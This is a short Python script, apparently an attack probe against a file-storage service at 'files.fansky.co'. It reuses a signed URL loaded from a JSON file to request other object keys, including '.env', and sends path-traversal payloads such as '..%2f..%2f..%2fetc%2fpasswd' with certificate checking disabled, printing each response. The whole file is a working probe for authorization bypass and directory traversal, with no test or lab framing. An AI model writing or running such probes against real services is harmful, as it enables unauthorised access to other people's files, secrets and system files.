import json, urllib.request, urllib.parse, ssl

ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
d = json.load(open('fresh.json'))
url = d["data"]["url"]
u = urllib.parse.urlsplit(url)
BUCKET = "files.fansky.co"

def get(url):
    req = urllib.request.Request(url, method="GET", headers={"User-Agent":"curl/8"})
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=30)
        return r.status, r.read(300)
    except urllib.error.HTTPError as e:
        return e.code, e.read(400)
    except Exception as e:
        return None, str(e)[:200].encode()

def newpath(objkey):
    return urllib.parse.urlunsplit((u.scheme, u.netloc, "/%s/%s"%(BUCKET,objkey), u.query, u.fragment))

for key in ["test-file2", "test-file", "test-file/", "index.html", ".env", "a", "test-file%2Fsub"]:
    st, bd = get(newpath(key))
    print(f"[key={key!r}] HTTP {st} | {bd[:150].decode('utf-8','replace')}")

# double-encoded traversal, and raw traversal via path join
for key in ["test-file/../x", "test-file%2f..%2fx", "..%2f..%2f..%2fetc%2fpasswd"]:
    st, bd = get(newpath(key))
    print(f"[key={key!r}] HTTP {st} | {bd[:150].decode('utf-8','replace')}")
